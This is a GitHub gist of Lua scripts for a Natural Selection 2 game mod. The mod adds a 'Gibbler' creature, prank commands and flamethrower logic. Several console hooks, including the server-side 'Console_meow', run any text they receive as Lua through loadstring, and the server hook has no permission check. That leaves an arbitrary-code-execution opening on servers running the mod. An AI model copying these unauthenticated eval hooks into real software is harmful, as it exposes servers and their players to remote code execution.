-
-
Save Deco/9e8aedf1f7b2cba000d5 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function dochristmas() | |
end | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--Print("Client!") | |
function _D(...) end | |
local function HandleReturns(...) | |
local n = select('#', ...) | |
local t = { n = n } | |
for i = 1, n do t[i] = select(i, ...) end | |
return t, n | |
end | |
do | |
local cmdVer = _SD.cmdVer | |
Event.Hook("Console_lc",function(...) | |
if cmdVer ~= _SD.cmdVer then return end | |
local code = table.concat({...},' ') | |
local func, err = loadstring(code) | |
pcall(function() _P = Client.GetLocalPlayer() end) | |
local res | |
if func then | |
res = HandleReturns(xpcall( | |
function() return func() end, | |
function(err) | |
return tostring(err).."\n"..tostring(debug.traceback()) | |
end | |
)) | |
if res[1] then | |
Print("%s", table.concat(res, " ", 2, res.n)) | |
else | |
Print("%s", tostring(res[2])) | |
end | |
else | |
Print("%s", tostring(err)) | |
end | |
end) | |
end | |
--Print("Client!") | |
--[[ | |
local function HandleReturns(...) | |
local n = select('#', ...) | |
local t = { n = n } | |
for i = 1, n do t[i] = select(i, ...) end | |
return t, n | |
end | |
do | |
VVV = (VVV or 0)+1 | |
local ver = VVV | |
Event.Hook("Console_lc",function(...) | |
if ver ~= VVV then return end | |
local code = table.concat({...},' ') | |
local func, err = loadstring(code) | |
local res | |
if func then | |
res = HandleReturns(xpcall( | |
function() return func() end, | |
function(err) | |
return tostring(err).."\n"..tostring(debug.traceback()) | |
end | |
)) | |
if res[1] then | |
Print("%s", table.concat(res, " ", 2, res.n)) | |
else | |
Print("%s", tostring(res[2])) | |
end | |
else | |
Print("%s", tostring(err)) | |
end | |
end) | |
Event.Hook("Console_lcl",function(...) | |
if ver ~= VVV then return end | |
Script.Load(table.concat({...},' ')) | |
end) | |
end | |
]] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function ggg(f) | |
_BLAH=0.01 | |
_SD.SendLua(nil, "ggg", "_BLAH=0.01") | |
_SD.LoadGist(_SD.mainGistURL, f) | |
_SD.rerunCounter=_SD.rerunCounter+1 | |
end | |
if not _BLAH then return end | |
if Server then | |
_SDcmd("gibbler", function(client, ...) | |
local playerOld = client:GetControllingPlayer() | |
_SD.Output(nil, playerOld:GetClassName()) | |
local playerNew = playerOld:Replace( | |
Gorge.kMapName, playerOld:GetTeamNumber(), false, nil, | |
{isGibbler = true, setGibbler = true, hatched = true} | |
) | |
_SD.Output(nil, playerNew:GetClassName()) | |
playerNew.isGibbler = true | |
playerNew:OnGibblerInit() | |
end) | |
end | |
Print("GGG "..(Client and "C" or Server and "S" or "?")) | |
GorgeOrig = GorgeOrig or {} | |
GorgeOrigCheck = GorgeOrigCheck or {} | |
local meow = {} | |
function GibblerFunc(name, func) | |
_D("!"..(Client and "C" or Server and "S" or "?").." "..tostring(name).." ?!? "..tostring(GorgeOrig[name])) | |
if not GorgeOrigCheck[name] then | |
GorgeOrigCheck[name] = true | |
GorgeOrig[name] = Gorge[name] | |
_D(" = "..tostring(GorgeOrig[name])) | |
end | |
Gibbler[name] = _SDfunc(tostring(_SD.rerunCounter).."_Gibbler."..name, func) | |
Gorge[name] = function(self, ...) | |
if not meow[name] or math.random() < (tonumber(_BLAH) or 0) then | |
Print("!%s %s %s", Client and "C" or Server and "S" or "?", tostring(self.isGibbler), tostring(name)) | |
meow[name] = true | |
end | |
if self.setGibbler then | |
self.setGibbler = false | |
self.isGibbler = true | |
end | |
if self.isGibbler then | |
return Gibbler[name](self, ...) | |
else | |
local origFunc = GorgeOrig[name] | |
if origFunc then | |
return origFunc(self, ...) | |
end | |
end | |
end | |
end | |
Gibbler = {} | |
Gibbler.kMapName = "gibbler" | |
-- Babbler | |
Gorge.networkVars = gModClassMap.Gorge.networkVars | |
Gorge.networkVars.isGibbler = "boolean" | |
Gorge.networkVars.attacking = "boolean" | |
Gorge.networkVars.jumping = "boolean" | |
Gorge.networkVars.wagging = "boolean" | |
Gorge.networkVars.creationTime = "time" | |
Gorge.networkVars.timeOfLastShot = "time" | |
Gibbler.kModelName = PrecacheAsset("models/alien/babbler/babbler.model") | |
Gibbler.kAnimationGraph = PrecacheAsset("models/alien/babbler/babbler.animation_graph") | |
Gibbler.kMass = 15 | |
Gibbler.kRadius = .25 | |
Gibbler.kLinearDamping = 0 | |
Gibbler.kRestitution = .65 | |
Gibbler.kVerticalJumpForce = 60 | |
Gibbler.kMaxJumpForce = 150 | |
Gibbler.kMinJumpForce = 50 | |
Gibbler.kRunSpeed = 7 | |
Gibbler.kAttackRate = 0.1 | |
GibblerFunc("OnCreate", function(self) | |
GorgeOrig.OnCreate(self) | |
InitMixin(self, DamageMixin) | |
end) | |
local blah = {string=true,number=true,boolean=true,table=true}--,["function"]=true | |
GibblerFunc("OnInitialized", function(self) | |
Alien.OnInitialized(self) | |
self:OnGibblerInit() | |
InitMixin(self, IdleMixin) | |
end) | |
GibblerFunc("OnGibblerInit", function(self) | |
if self.gibblerInit then return end | |
self.gibblerInit = true | |
_SD.Output(nil, "meow "..tostring(self.kModelName)) | |
for k,v in pairs(Gibbler) do | |
if blah[k] and blah[v] then | |
pcall(function() self[k] = v end) | |
end | |
end | |
if Server then | |
self:SetModel(nil) | |
end | |
self.attacking = false | |
self.jumping = false | |
self.wagging = false | |
self.timeOfLastAttack = 0 | |
_D("inited") | |
_SD.Output(nil, "meow "..tostring(self.kModelName)) | |
end) | |
GibblerFunc("InitWeapons", function(self) | |
Alien.InitWeapons(self) | |
-- self:GiveItem(GibblerWeapon.kMapName) | |
-- self:SetActiveWeapon(GibblerWeapon.kMapName) | |
end) | |
GibblerFunc("Jump", function(self) | |
_D("wtf") | |
local moveVelocity = self:GetViewAngles():GetCoords().zAxis | |
local moveSpeedXZ = moveVelocity:GetLengthXZ() | |
if moveSpeedXZ > Gibbler.kMaxJumpForce then | |
moveVelocity:Scale(Gibbler.kMaxJumpForce / moveSpeedXZ) | |
elseif moveSpeedXZ < Gibbler.kMinJumpForce then | |
moveVelocity:Scale(Gibbler.kMinJumpForce / (moveSpeedXZ + 0.0001) ) | |
end | |
moveVelocity.y = Gibbler.kVerticalJumpForce | |
self:SetVelocity(moveVelocity) | |
self.attacking = true | |
self:TriggerEffects("babbler_engage") | |
self:TriggerEffects("babbler_jump") | |
self:TriggerEffects("babbler_attack") | |
end) | |
GibblerFunc("OnUpdatePhysics", function(self) | |
self:CreateHitBox() | |
self.hitBox:SetCoords(self:GetCoords()) | |
end) | |
GibblerFunc("OnUpdate", function(self, ...) | |
Gorge.OnUpdate(self, ...) | |
end) | |
GibblerFunc("CreateHitBox", function(self) | |
if not self.hitBox then | |
self.hitBox = assert(Shared.CreatePhysicsSphereBody( | |
false, Gibbler.kRadius*1.4, Gibbler.kMass, self:GetCoords() | |
)) | |
self.hitBox:SetGroup(PhysicsGroup.BabblerGroup) | |
self.hitBox:SetCoords(self:GetCoords()) | |
self.hitBox:SetEntity(self) | |
self.hitBox:SetPhysicsType(CollisionObject.Kinematic) | |
self.hitBox:SetTriggeringEnabled(true) | |
end | |
end) | |
GibblerFunc("OnCapsuleTraceHit", function(self, entityHit) | |
if ( HasMixin(entityHit, "Live") | |
and HasMixin(entityHit, "Team") | |
and entityHit:GetTeamNumber() ~= self:GetTeamNumber() | |
) then | |
self:DoDamage(self:GetJumpDamage(), entityHit, self:GetOrigin(), nil, "flesh") | |
end | |
end) | |
GibblerFunc("OnKill", function(self) | |
self:TriggerEffects("death", {effecthostcoords = Coords.GetTranslation(self:GetOrigin()) }) | |
end) | |
GibblerFunc("GetHasMovementSpecial", function(self) | |
return false -- no belly sliding! | |
end) | |
GibblerFunc("GetMass", function(self) | |
return Gibbler.kMass | |
end) | |
GibblerFunc("GetCanJump", function(self) | |
_D("?!?") | |
return false | |
end) | |
GibblerFunc("PostUpdateMove", function(self, input, runningPrediction) | |
GorgeOrig.PostUpdateMove(self, input, runningPrediction) | |
if not self.gibblerHatched then | |
self.gibblerHatched = true | |
self:TriggerEffects("babbler_hatch") | |
end | |
if self.attacking and self:GetIsOnGround() then | |
self.attacking = false | |
end | |
end) | |
GibblerFunc("OnUpdateAnimationInput", function(self, modelMixin) | |
local move = "idle" | |
local vel = self:GetVelocity() | |
if not self:GetIsOnGround() then | |
move = "jump" | |
elseif math.sqrt(vel.x^2+vel.z^2) > 0.0001 then | |
move = "run" | |
elseif self.wagging then | |
move = "wag" | |
end | |
modelMixin:SetAnimationInput("move", move) | |
modelMixin:SetAnimationInput("attacking", tonumber(self.attacking) or 0) | |
end) | |
GibblerFunc("OnUpdatePoseParameters", function(self) | |
local moveSpeed = 0 | |
local moveYaw = 0 | |
local vel = self:GetVelocity() | |
local coords = self:GetCoords() | |
local moveDirection = GetNormalizedVectorXZ(vel) | |
local x = Math.DotProduct(coords.xAxis, moveDirection) | |
local z = Math.DotProduct(coords.zAxis, moveDirection) | |
moveYaw = Math.Wrap(Math.Degrees( math.atan2(z,x) ), -180, 180) + 180 | |
moveSpeed = Clamp(vel:GetLength() / Gibbler.kRunSpeed, 0, 1) | |
self:SetPoseParam("move_speed", moveSpeed) | |
self:SetPoseParam("move_yaw", moveYaw) | |
end) | |
GibblerFunc("HandleButtons", function(self, input) | |
Alien.HandleButtons(self, input) | |
end) | |
GibblerFunc("HandleAttacks", function(self, input) | |
if not self:GetCanAttack() then | |
return | |
end | |
self:WeaponUpdate() | |
if (bit.band(input.commands, Move.PrimaryAttack) ~= 0) then | |
if not self.primaryActive then | |
self.primaryActive = true | |
if self.timeOfLastAttack+Gibbler.kAttackRate <= Shared.GetTime() and self:GetIsOnGround() then | |
self:Jump() | |
self.timeOfLastAttack = Shared.GetTime() | |
end | |
end | |
else | |
self.primaryActive = false | |
end | |
if (bit.band(input.commands, Move.SecondaryAttack) ~= 0) then | |
end | |
self.primaryAttackLastFrame = (bit.band(input.commands, Move.PrimaryAttack) ~= 0) | |
self.secondaryAttackLastFrame = (bit.band(input.commands, Move.SecondaryAttack) ~= 0) | |
end) | |
GibblerFunc("GetViewModelName", function(self, ...) | |
return "" | |
end) | |
Class_Reload("Gorge", Gorge.networkVars) | |
--[=====[ | |
--Print("Gibbler!") | |
if Server then | |
_SDcmd("gibbler", function(client, ...) | |
local assertOld = assert | |
--assert = function() end | |
local self = client:GetControllingPlayer() | |
_SD.Output(nil, self:GetClassName()) | |
--self:Replace(Gibbler.kMapName, self:GetTeamNumber(), false, nil, {}) | |
_SD.Output(nil, "A") | |
local t = {} | |
local blah = {string=true,number=true,["function"]=true,boolean=true,table=true} | |
for k,v in pairs(Gibbler) do | |
if blah[k] and blah[v] then | |
t[k] = v | |
end | |
end | |
self:Replace(Gorge.kMapName, self:GetTeamNumber(), false, nil, t) | |
_SD.Output(nil, "B") | |
--self:CopyPlayerDataFrom(Gibbler) | |
for k,v in pairs(Gibbler) do | |
local worked, err = pcall(function() | |
self[k] = v | |
end) | |
end | |
_SD.Output(nil, "C") | |
_SD.Output(nil, self:GetClassName()) | |
self:SetHealth(20) | |
self:SetPoseParam("scale", 0.3) | |
self:SetModel(self.kModelName, self.kAnimationGraph) | |
self:GiveItem(GibblerWeapon.kMapName) | |
self:SetActiveWeapon(GibblerWeapon.kMapName) | |
assert = assertOld | |
end) | |
end | |
-- local team = self:GetTeam() | |
-- local teamNumber = team:GetTeamNumber() | |
-- local client = Server.GetOwner(self) | |
-- local teamChanged = newTeamNumber ~= nil and newTeamNumber ~= self:GetTeamNumber() | |
-- if newTeamNumber ~= nil and newTeamNumber ~= -1 then | |
-- teamNumber = newTeamNumber | |
-- end | |
-- local player = CreateEntity(mapName, atOrigin or Vector(self:GetOrigin()), teamNumber, extraValues) | |
-- player.previousMapName = self:GetMapName() | |
-- self:PreCopyPlayerData() | |
-- if atOrigin then self:SetOrigin(atOrigin) end | |
-- player:CopyPlayerDataFrom(self) | |
-- player.standingBodyYaw = Math.Wrap( self:GetAngles().yaw, 0, 2*math.pi ) | |
-- if not player:GetTeam():GetSupportsOrders() and HasMixin(player, "Orders") then player:ClearOrders() end | |
-- if preserveWeapons then | |
-- player:DestroyWeapons() | |
-- local allWeapons = { } | |
-- local function AllWeapons(weapon) table.insert(allWeapons, weapon) end | |
-- ForEachChildOfType(self, "Weapon", AllWeapons) | |
-- for i, weapon in ipairs(allWeapons) do | |
-- player:AddWeapon(weapon) | |
-- end | |
-- end | |
-- self:SendEntityChanged(player:GetId()) | |
-- player:SetScoreboardChanged(true) | |
-- self.client = nil | |
-- self:RemoveSpectators(player) | |
-- if not HasMixin(self, "Ragdoll") or not self:GetIsRagdoll() then DestroyEntity(self) end | |
-- player:SetControllerClient(client) | |
-- if client and not player:isa("Spectator") then client:SetSpectatingPlayer(nil) end | |
if not GibblerWeapon then | |
class 'GibblerWeapon' (Ability) | |
end | |
GibblerWeapon.kMapName = "gibblerweapon" | |
GibblerWeapon.networkVars = | |
{ | |
timeChargeStarted = "time", | |
railgunAttacking = "boolean", | |
lockCharging = "boolean", | |
timeOfLastShot = "time" | |
} | |
GibblerWeapon.kAttackRate = 0.1 | |
GibblerWeapon.OnCreate = _SDfunc("GibblerWeapon.OnCreate", function(self) | |
Ability.OnCreate(self) | |
self.timeOfLastAttack = 0 | |
end) | |
GibblerWeapon.GetPrimaryAttackAllowed = _SDfunc("GibblerWeapon.GetPrimaryAttackAllowed", function(self) | |
return ( | |
self.timeOfLastAttack+self.kAttackRate <= Shared.GetTime() | |
and player:GetIsOnGround() | |
) | |
end) | |
GibblerWeapon.OnPrimaryAttack = _SDfunc("GibblerWeapon.OnPrimaryAttack", function(self, player) | |
player:Jump() | |
self.timeOfLastAttack = Shared.GetTime() | |
end) | |
if not GibblerWeapon.isClassLinked then | |
Shared.LinkClassToMap("GibblerWeapon", GibblerWeapon.kMapName, GibblerWeapon.networkVars) | |
GibblerWeapon.isClassLinked = true | |
end | |
if not Gibbler then | |
class 'Gibbler' (Gorge) | |
end | |
Gibbler.kMapName = "gibbler" | |
Gibbler.networkVars = { | |
-- Gorge | |
--[[bellyYaw = "private float", | |
timeSlideEnd = "private time", | |
startedSliding = "private boolean", | |
sliding = "boolean", | |
hasBellySlide = "private boolean",]] | |
-- Babbler | |
attacking = "boolean", | |
targetId = "entityid", | |
ownerId = "entityid", | |
clinged = "boolean", | |
doesGroundMove = "boolean", | |
jumping = "boolean", | |
wagging = "boolean", | |
creationTime = "time", | |
silenced = "boolean", | |
-- updates every 10 and [] means no compression used (not updates are send in this case) | |
m_angles = "interpolated angles (by 10 [], by 10 [], by 10 [])", | |
m_origin = "compensated interpolated position (by 0.05 [2 3 5], by 0.05 [2 3 5], by 0.05 [2 3 5])", | |
} | |
Gibbler.kModelName = PrecacheAsset("models/alien/babbler/babbler.model") | |
Gibbler.kAnimationGraph = PrecacheAsset("models/alien/babbler/babbler.animation_graph") | |
Gibbler.kMass = 15 | |
Gibbler.kRadius = .25 | |
Gibbler.kLinearDamping = 0 | |
Gibbler.kRestitution = .65 | |
Gibbler.kVerticalJumpForce = 6 | |
Gibbler.kMaxJumpForce = 15 | |
Gibbler.kMinJumpForce = 5 | |
Gibbler.kRunSpeed = 7 | |
Gibbler.OnCreate = _SDfunc("Gibbler.OnCreate", function(self) | |
Gorge.OnCreate(self) | |
InitMixin(self, DamageMixin) | |
end) | |
Gibbler.OnInitialized = _SDfunc("Gibbler.OnInitialized", function(self) | |
Gorge.OnInitialized(self) | |
_SD.Output(nil, "meow") | |
self:SetModel(self.kModelName, self.kAnimationGraph) | |
end) | |
Gibbler.InitWeapons = _SDfunc("Gibbler.InitWeapons", function(self) | |
Alien.InitWeapons(self) | |
self:GiveItem(GibblerWeapon.kMapName) | |
self:SetActiveWeapon(GibblerWeapon.kMapName) | |
end) | |
Gibbler.Jump = _SDfunc("Gibbler.Jump", function(self) | |
local moveVelocity = self:GetViewAngles():GetCoords().zAxis | |
local moveSpeedXZ = moveVelocity:GetLengthXZ() | |
if moveSpeedXZ > self.kMaxJumpForce then | |
moveVelocity:Scale(self.kMaxJumpForce / moveSpeedXZ) | |
elseif moveSpeedXZ < self.kMinJumpForce then | |
moveVelocity:Scale(self.kMinJumpForce / (moveSpeedXZ + 0.0001) ) | |
end | |
moveVelocity.y = self.kVerticalJumpForce | |
self:SetVelocity(moveVelocity) | |
self.attacking = true | |
player:TriggerEffects("babbler_engage") | |
player:TriggerEffects("babbler_jump") | |
player:TriggerEffects("babbler_attack") | |
end) | |
Gibbler.OnUpdatePhysics = _SDfunc("Gibbler.OnUpdatePhysics", function(self) | |
self:CreateHitBox() | |
self.hitBox:SetCoords(self:GetCoords()) | |
end) | |
Gibbler.CreateHitBox = _SDfunc("Gibbler.CreateHitBox", function(self) | |
if not self.hitBox then | |
self.hitBox = Shared.CreatePhysicsSphereBody( | |
false, self.kRadius*1.4, self.kMass, self:GetCoords() | |
) | |
self.hitBox:SetGroup(PhysicsGroup.BabblerGroup) | |
self.hitBox:SetCoords(self:GetCoords()) | |
self.hitBox:SetEntity(self) | |
self.hitBox:SetPhysicsType(CollisionObject.Kinematic) | |
self.hitBox:SetTriggeringEnabled(true) | |
end | |
end) | |
Gibbler.OnCapsuleTraceHit = _SDfunc("Gibbler.OnCapsuleTraceHit", function(self, entityHit) | |
if ( HasMixin(entityHit, "Live") | |
and HasMixin(entityHit, "Team") | |
and entityHit:GetTeamNumber() ~= self:GetTeamNumber() | |
) then | |
self:DoDamage(self:GetJumpDamage(), entityHit, self:GetOrigin(), nil, "flesh") | |
end | |
end) | |
Gibbler.OnKill = _SDfunc("Gibbler.OnKill", function(self) | |
self:TriggerEffects("death", {effecthostcoords = Coords.GetTranslation(self:GetOrigin()) }) | |
end) | |
Gibbler.GetHasMovementSpecial = _SDfunc("Gibbler.GetHasMovementSpecial", function(self) | |
return false -- no belly sliding! | |
end) | |
Gibbler.GetMass = _SDfunc("Gibbler.GetMass", function(self) | |
return Gibbler.kMass | |
end) | |
Gibbler.GetCanJump = _SDfunc("Gibbler.GetCanJump", function(self) | |
return false | |
end) | |
Gibbler.PostUpdateMove = _SDfunc("Gibbler.PostUpdateMove", function(self, input, runningPrediction) | |
Gorge.PostUpdateMove(self, input, runningPrediction) | |
if self.attacking and self:IsOnGround() then | |
self.attacking = false | |
end | |
end) | |
Gibbler.OnUpdateAnimationInput = _SDfunc("Gibbler.OnUpdateAnimationInput", function(self, modelMixin) | |
local move = "idle" | |
if not self:GetIsOnGround() then | |
move = "jump" | |
elseif self:GetVelocity():LengthXZ() > 0.0001 then | |
move = "run" | |
elseif self.wagging then | |
move = "wag" | |
end | |
modelMixin:SetAnimationInput("move", move) | |
modelMixin:SetAnimationInput("attacking", self.attacking) | |
end) | |
Gibbler.OnUpdatePoseParameters = _SDfunc("Gibbler.OnUpdatePoseParameters", function(self) | |
local moveSpeed = 0 | |
local moveYaw = 0 | |
if self.clientVelocity then | |
local coords = self:GetCoords() | |
local moveDirection = ConditionalValue( | |
self.clientVelocity:GetLengthXZ() > 0, | |
GetNormalizedVectorXZ(self.clientVelocity), | |
self.moveDirection | |
) | |
local x = Math.DotProduct(coords.xAxis, moveDirection) | |
local z = Math.DotProduct(coords.zAxis, moveDirection) | |
moveYaw = Math.Wrap(Math.Degrees( math.atan2(z,x) ), -180, 180) + 180 | |
moveSpeed = Clamp(self.clientVelocity:GetLength() / self.kRunSpeed, 0, 1) | |
end | |
self:SetPoseParam("move_speed", moveSpeed) | |
self:SetPoseParam("move_yaw", moveYaw) | |
end) | |
if not Gibbler.isClassLinked then | |
Shared.LinkClassToMap("Gibbler", Gibbler.kMapName, Gibbler.networkVars, true) | |
Gibbler.isClassLinked = true | |
end | |
]=====] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
return { | |
name = "Hat", | |
version = 250, | |
fileList = { | |
{state = "Shared", name = "Shared.lua"}, | |
{state = "Server", name = "Server.lua"}, | |
{state = "Server", name = "lol.lua"}, | |
{state = "Client", name = "Client.lua"}, | |
{state = "Shared", name = "Gibbler.lua"}, | |
{state = "Shared", name = "Christmas.lua"}, | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--_D("214") | |
local magic = { | |
'cactus', | |
'beq', | |
'eh' | |
} | |
_ARGH = (_ARGH or 0)+1 | |
local argh = _ARGH | |
function ismagic(ply) | |
return string.match(ply:GetName()) | |
end | |
if not _MEOW then | |
Event.Hook('Console_meow',function(c,...) | |
local r,o=loadstring(table.concat({...},' ')) | |
_C=c | |
pcall(function() _P = _C:GetControllingPlayer() end) | |
if r then r,o=pcall(r)end | |
if c then | |
if _D then | |
_D(tostring(o)) | |
else | |
Server.SendNetworkMessage(c,'Chat',BuildChatMessage(_,':',-1,0,0,tostring(o)),true) | |
end | |
end | |
end) | |
_MEOW = true | |
end | |
function plys(name) | |
local playerList = {} | |
for _, ply in pairs(EntityListToTable(Shared.GetEntitiesWithClassname("Player"))) do | |
if not name or string.match(ply:GetName(), name) then | |
table.insert(playerList, ply) | |
end | |
end | |
return playerList | |
end | |
function _D(...) | |
if not _C then return end | |
pcall(function(...) | |
for i=1,select('#',...)do | |
--ServerAdminPrint(_C, ":"..i..":"..tostring(select(i,...))) | |
Server.SendNetworkMessage(_C,'Chat',BuildChatMessage(_,':'..i,-1,0,0,tostring(select(i,...))),true) | |
end | |
end, ...) | |
end | |
function make(classname, pos, parent, team) | |
classname = classname or "Clog" | |
pos = pos or (parent and parent:GetOrigin()) or _P:GetOrigin()+Vec3(1,1,1) | |
if not pos then return end | |
team = team or ({kAlienTeamType, kMarineTeamType})[math.random(1,2)] | |
local ent = CreateEntity(classname, pos, team) | |
if parent then ent:SetParent(parent) end | |
return ent | |
end | |
function babb(p) make(Babbler.kMapName, p, nil, kAlienTeamType) end | |
function dosurpriseonos() | |
local function GetDamageImpulse(doer, point) | |
if doer and point then | |
return GetNormalizedVector(doer:GetOrigin() - point) * 1.5 * 0.01 | |
end | |
return nil | |
end | |
function RagdollMixin:OnKill(attacker, doer, point, direction) | |
local worked, err = pcall(function() | |
_D('DEAD!') | |
if point then | |
self.deathImpulse = GetDamageImpulse(doer, point) | |
self.deathPoint = Vector(point) | |
if doer then | |
self.doerClassName = doer:GetClassName() | |
end | |
end | |
local doerClassName = nil | |
if doer ~= nil then | |
doerClassName = doer:GetClassName() | |
end | |
if not self.consumed then | |
self:TriggerEffects("death", { classname = self:GetClassName(), effecthostcoords = Coords.GetTranslation(self:GetOrigin()), doer = doerClassName }) | |
end | |
-- Server does not process any tags when the model is client side animated. assume death animation takes 0.5 seconds and switch then to ragdoll mode. | |
if self.GetHasClientModel and self:GetHasClientModel() and (not HasMixin(self, "GhostStructure") or not self:GetIsGhostStructure()) then | |
CreateRagdoll(self) | |
-- DestroyEntity(self) | |
if self.wallWalkingNormalGoal ~= nil then | |
self:Replace("onos", self:GetTeamNumber(), false, nil, {}) | |
self:SetHealth(20) | |
self:SetPoseParam("scale", 0.3) | |
end | |
end | |
end) | |
if not worked then | |
_D(err) | |
end | |
end | |
end | |
Event.Hook('Console_stunstun',function(c, duration) | |
if _ARGH ~= argh then return end | |
local ply = c:GetControllingPlayer() | |
for _, stunnable in ipairs(GetEntitiesWithMixin("Stun")) do | |
stunnable:SetStun(tonumber(duration) or 2) | |
end | |
end) | |
Event.Hook('Console_lasers',function(c, duration) | |
if _ARGH ~= argh then return end | |
if not LaserMixin then | |
Script.Load("lua/LaserMixin.lua") | |
end | |
local ply = c:GetControllingPlayer() | |
local entList = Shared.GetEntitiesWithClassname("Sentry") | |
for i, ent in ientitylist(entList) do | |
InitMixin(ent, LaserMixin) | |
end | |
end) | |
function dofire() | |
local kViewModels = GenerateMarineViewModelPaths("flamethrower") | |
local kAnimationGraph = PrecacheAsset("models/marine/flamethrower/flamethrower_view.animation_graph") | |
local kFireLoopingSound = PrecacheAsset("sound/NS2.fev/marine/flamethrower/attack_loop") | |
local kRange = kFlamethrowerRange | |
local kUpgradedRange = kFlamethrowerUpgradedRange | |
local kConeWidth = 0.17 | |
local function BurnSporesAndUmbra(self, startPoint, endPoint) | |
local toTarget = endPoint - startPoint | |
local distanceToTarget = toTarget:GetLength() | |
toTarget:Normalize() | |
local stepLength = 2 | |
for i = 1, 5 do | |
-- stop when target has reached, any spores would be behind | |
if distanceToTarget < i * stepLength then | |
break | |
end | |
local checkAtPoint = startPoint + toTarget * i * stepLength | |
local spores = GetEntitiesWithinRange("SporeCloud", checkAtPoint, kSporesDustCloudRadius) | |
local umbras = GetEntitiesWithinRange("CragUmbra", checkAtPoint, CragUmbra.kRadius) | |
table.copy(GetEntitiesWithinRange("StormCloud", checkAtPoint, StormCloud.kRadius), umbras, true) | |
table.copy(GetEntitiesWithinRange("MucousMembrane", checkAtPoint, MucousMembrane.kRadius), umbras, true) | |
table.copy(GetEntitiesWithinRange("EnzymeCloud", checkAtPoint, EnzymeCloud.kRadius), umbras, true) | |
local bombs = GetEntitiesWithinRange("Bomb", checkAtPoint, 1.6) | |
table.copy(GetEntitiesWithinRange("WhipBomb", checkAtPoint, 1.6), bombs, true) | |
for index, bomb in ipairs(bombs) do | |
bomb:TriggerEffects("burn_bomb", { effecthostcoords = Coords.GetTranslation(bomb:GetOrigin()) } ) | |
DestroyEntity(bomb) | |
end | |
for index, spore in ipairs(spores) do | |
self:TriggerEffects("burn_spore", { effecthostcoords = Coords.GetTranslation(spore:GetOrigin()) } ) | |
DestroyEntity(spore) | |
end | |
for index, umbra in ipairs(umbras) do | |
self:TriggerEffects("burn_umbra", { effecthostcoords = Coords.GetTranslation(umbra:GetOrigin()) } ) | |
DestroyEntity(umbra) | |
end | |
end | |
end | |
local function CreateFlame(self, player, position, normal, direction) | |
-- create flame entity, but prevent spamming: | |
local nearbyFlames = GetEntitiesForTeamWithinRange("Flame", self:GetTeamNumber(), position, 1.5) | |
if table.count(nearbyFlames) == 0 then | |
local flame = CreateEntity(Flame.kMapName, position, player:GetTeamNumber()) | |
flame:SetOwner(player) | |
local coords = Coords.GetTranslation(position) | |
coords.yAxis = normal | |
coords.zAxis = direction | |
coords.xAxis = coords.yAxis:CrossProduct(coords.zAxis) | |
coords.xAxis:Normalize() | |
coords.zAxis = coords.xAxis:CrossProduct(coords.yAxis) | |
coords.zAxis:Normalize() | |
flame:SetCoords(coords) | |
end | |
end | |
local function ApplyConeDamage(self, player) | |
local barrelPoint = player:GetOrigin() - Vector(0, 0.4, 0) | |
local ents = {} | |
local range = 1000 | |
local fireDirection = GetNormalizedVector((player:GetEyePos() - Vector(0, 0.3, 0) + player:GetViewCoords().zAxis * range) - barrelPoint) | |
local extents = Vector(kConeWidth, kConeWidth, kConeWidth) | |
local remainingRange = range | |
local startPoint = barrelPoint | |
local filterEnts = {} | |
for i = 1, 20 do | |
if remainingRange <= 0 then | |
break | |
end | |
local trace = TraceMeleeBox(self, startPoint, fireDirection, extents, remainingRange, PhysicsMask.Bullets, EntityFilterList(filterEnts)) | |
--DebugLine(startPoint, trace.endPoint, 0.3, 1, 0, 0, 1) | |
-- Check for spores in the way. | |
if Server and i == 1 then | |
BurnSporesAndUmbra(self, startPoint, trace.endPoint) | |
end | |
if trace.fraction ~= 1 then | |
if trace.entity then | |
if HasMixin(trace.entity, "Live") then | |
table.insertunique(ents, trace.entity) | |
end | |
table.insertunique(filterEnts, trace.entity) | |
else | |
-- Make another trace to see if the shot should get deflected. | |
local lineTrace = Shared.TraceRay(startPoint, startPoint + remainingRange * fireDirection, CollisionRep.LOS, PhysicsMask.Melee, EntityFilterOne(player)) | |
if lineTrace.fraction < 0.8 then | |
fireDirection = fireDirection + trace.normal * 0.55 | |
fireDirection:Normalize() | |
if Server then | |
CreateFlame(self, player, lineTrace.endPoint, lineTrace.normal, fireDirection) | |
end | |
end | |
remainingRange = remainingRange - (trace.endPoint - startPoint):GetLength() | |
startPoint = trace.endPoint -- + fireDirection * kConeWidth * 2 | |
end | |
else | |
break | |
end | |
end | |
for index, ent in ipairs(ents) do | |
if ent ~= player then | |
local toEnemy = GetNormalizedVector(ent:GetModelOrigin() - barrelPoint) | |
local health = ent:GetHealth() | |
self:DoDamage(kFlamethrowerDamage, ent, ent:GetModelOrigin(), toEnemy) | |
-- Only light on fire if we successfully damaged them | |
if ent:GetHealth() ~= health and HasMixin(ent, "Fire") then | |
ent:SetOnFire(player, self) | |
end | |
if ent.GetEnergy and ent.SetEnergy then | |
ent:SetEnergy(ent:GetEnergy() - kFlameThrowerEnergyDamage) | |
end | |
if Server and ent:isa("Alien") then | |
ent:CancelEnzyme() | |
end | |
end | |
end | |
end | |
local kRange = kFlamethrowerRange | |
local kUpgradedRange = kFlamethrowerUpgradedRange | |
local kConeWidth = 0.17 | |
local function ShootFlame(self, player) | |
local viewAngles = player:GetViewAngles() | |
local viewCoords = viewAngles:GetCoords() | |
viewCoords.origin = player:GetOrigin() + viewCoords.zAxis * (-0.4) + viewCoords.xAxis * (-0.2) | |
local endPoint = player:GetOrigin()+ viewCoords.xAxis * (-0.2) + viewCoords.yAxis * (-0.3) + viewCoords.zAxis * 1000 | |
local trace = Shared.TraceRay(viewCoords.origin, endPoint, CollisionRep.Damage, PhysicsMask.Bullets, EntityFilterAll()) | |
local range = (trace.endPoint - viewCoords.origin):GetLength() | |
if range < 0 then | |
range = range * (-1) | |
end | |
